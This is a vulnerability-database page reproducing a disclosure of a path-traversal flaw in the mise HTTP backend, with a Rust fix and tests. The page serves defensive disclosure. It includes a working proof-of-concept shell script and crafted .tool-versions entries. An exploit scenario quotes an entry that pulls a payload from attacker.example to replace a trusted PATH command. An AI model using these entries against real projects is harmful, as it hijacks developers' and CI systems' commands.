Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
AV:L because exploitation requires local execution of mise install; PR:N because the attacker only needs to control .tool-versions content; I:H for verified ability to overwrite trusted PATH executables; C:N and A:N per advisory claims.
Primary rating from Vendor (https://github.com/jdx/mise).
CVSS VectorVendor: https://github.com/jdx/mise
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.
A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.
The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.
Affected Code
In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:
let version_name = if tv.version == "latest" || tv.version.is_empty() {
&cache_key[..7.min(cache_key.len())]
} else {
&tv.version
};
let install_path = tv.ba().installs_path.join(version_name);ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.
Impact
Proven:
- Outside-root symlink creation from a repository-controlled
.tool-versionsentry. - Executable symlink materialization under an attacker-selected absolute prefix when
bin_pathis configured. - The executable symlink can be run if that prefix's
bindirectory is onPATH. - Replacement of a preexisting command in a trusted
PATHprefix in a local workflow-chain model, followed by execution of the replaced command by name.
Not claimed:
mise installdoes not automatically execute the placed binary in the reproducer.- Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
- Credential theft is not claimed.
Why This Crosses A Boundary
.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.
The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:
$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...The observed behavior instead allows the project version string to choose an absolute install destination.
Reproduction
The script below performs three local checks:
- It creates a
.tool-versionsentry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path. - It creates a second HTTP backend entry with
bin_path=binand confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix'sbindirectory is onPATH. - It creates a preexisting trusted command in a user-local
PATHprefix, runsmise installfrom a project.tool-versionsfile, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.
The script uses a loopback HTTP server and temporary directories only.
#!/bin/sh
set -eu
if ! command -v mise >/dev/null 2>&1; then
echo "mise must be on PATH" >&2
exit 1
fi
if ! command -v python3 >/dev/null 2>&1; then
echo "python3 must be on PATH for the loopback HTTP server" >&2
exit 1
fi
ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"
cleanup() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
rm -rf "$ROOT"
}
trap cleanup EXIT
mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"
cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"
(
cd "$WWW"
python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1
PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1
(
cd "$PROJECT1"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/owned-link" ]; then
echo "FAIL: outside symlink was not created" >&2
exit 1
fi
PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2
rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"
(
cd "$PROJECT2"
MISE_DATA_DIR="$DATA" \
MISE_CACHE_DIR="$CACHE" \
MISE_STATE_DIR="$STATE" \
MISE_CONFIG_DIR="$CONFIG" \
MISE_YES=1 \
mise install --yes
)
if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
echo "FAIL: executable symlink was not created under selected prefix" >&2
exit 1
fi
MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd
if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
echo "FAIL: executable symlink did not run" >&2
exit 1
fi
echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"
run_path_chain_case() {
case_name="$1"
version="$2"
expected="$3"
CASE_ROOT="$ROOT/$case_name"
HOME_DIR="$CASE_ROOT/home"
CASE_DATA="$CASE_ROOT/data"
CASE_CACHE="$CASE_ROOT/cache"
CASE_STATE="$CASE_ROOT/state"
CASE_CONFIG="$CASE_ROOT/config"
CASE_PROJECT="$CASE_ROOT/project"
CASE_MARKER="$CASE_ROOT/marker"
if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
version="$HOME_DIR/.local"
fi
mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
chmod +x "$HOME_DIR/.local/bin/trustedcmd"
cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3
(
cd "$CASE_PROJECT"
HOME="$HOME_DIR" \
MISE_DATA_DIR="$CASE_DATA" \
MISE_CACHE_DIR="$CASE_CACHE" \
MISE_STATE_DIR="$CASE_STATE" \
MISE_CONFIG_DIR="$CASE_CONFIG" \
MISE_YES=1 \
mise install --yes
)
CHAIN_MARKER="$CASE_MARKER" \
PATH="$HOME_DIR/.local/bin:$PATH" \
trustedcmd
observed="$(cat "$CASE_MARKER")"
if [ "$observed" != "$expected" ]; then
echo "FAIL: $case_name expected $expected but saw $observed" >&2
exit 1
fi
if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
exit 1
fi
}
run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND
echo "PATH_CHAIN_CONFIRMED"Expected vulnerable markers:
VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMEDCandidate Fix
Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.
diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {
// Determine version name for install path
let version_name = if tv.version == "latest" || tv.version.is_empty() {
- &cache_key[..7.min(cache_key.len())] // Content-based versioning
+ cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
} else {
- &tv.version
+ tv.tv_pathname()
};
- let install_path = tv.ba().installs_path.join(version_name);
+ let install_path = tv.ba().installs_path.join(&version_name);
// Clean up existing install
if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
}
}
}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::cli::args::{BackendArg, BackendResolution};
+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+ fn http_test_tv(version: &str) -> ToolVersion {
+ let backend = Arc::new(BackendArg::new_raw(
+ "http-absolute-version".to_string(),
+ Some("http:absolute-version".to_string()),
+ "absolute-version".to_string(),
+ None,
+ BackendResolution::new(true),
+ ));
+ let request = ToolRequest::Version {
+ backend,
+ version: version.to_string(),
+ options: ToolVersionOptions::default(),
+ source: ToolSource::Argument,
+ };
+ ToolVersion::new(request, version.to_string())
+ }
+
+ #[test]
+ fn install_symlink_path_uses_sanitized_version_pathname() {
+ let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+ assert_eq!(
+ tv.tv_pathname(),
+ "-outside-root-mise-http-version-out-selected-prefix"
+ );
+ assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+ }
+
+ #[test]
+ fn latest_install_symlink_still_uses_content_version() {
+ let tv = http_test_tv("latest");
+ let cache_key = "abcdef123456";
+ let version_name = if tv.version == "latest" || tv.version.is_empty() {
+ cache_key[..7.min(cache_key.len())].to_string()
+ } else {
+ tv.tv_pathname()
+ };
+
+ assert_eq!(version_name, "abcdef1");
+ }
+}Reporter: JUNYI LIU
AnalysisAI
Path traversal in the mise HTTP backend allows a repository-controlled .tool-versions file to direct mise install to create symlinks at arbitrary filesystem locations outside the designated mise installs root on Unix-like systems. Affecting mise up to version 2026.5.16, a developer or CI system that runs mise install against a malicious project can have executable symlinks silently placed under attacker-chosen PATH directories, enabling replacement of trusted commands with attacker-controlled HTTP content. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the victim to run `mise install` inside a project directory whose `.tool-versions` file contains an HTTP backend entry where the version field is an absolute Unix path (e.g., `/home/user/.local`). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 5.5 with vector AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N accurately reflects the attack surface: local execution requiring user interaction, no attacker privileges needed, and high integrity impact limited to the vulnerable system. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a pull request or pushes to a shared repository adding a `.tool-versions` entry such as `http:mytool[url=http://attacker.example/payload,bin=trustedcmd,bin_path=bin] /home/user/.local` targeting a directory prefix already on the developer's PATH. When the developer runs `mise install` to set up the project environment, Rust's `PathBuf::join` discards the mise installs root and creates a symlink at `/home/user/.local/bin/trustedcmd` pointing to the downloaded attacker payload. … |
| Remediation | Vendor-released patch: mise 2026.6.1 resolves this issue by substituting `tv.tv_pathname()` for the raw `tv.version` reference in `create_install_symlink()`, ensuring all non-latest HTTP install symlink paths are sanitized before the `PathBuf::join` call. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39814
GHSA-f94h-j2qg-fxw3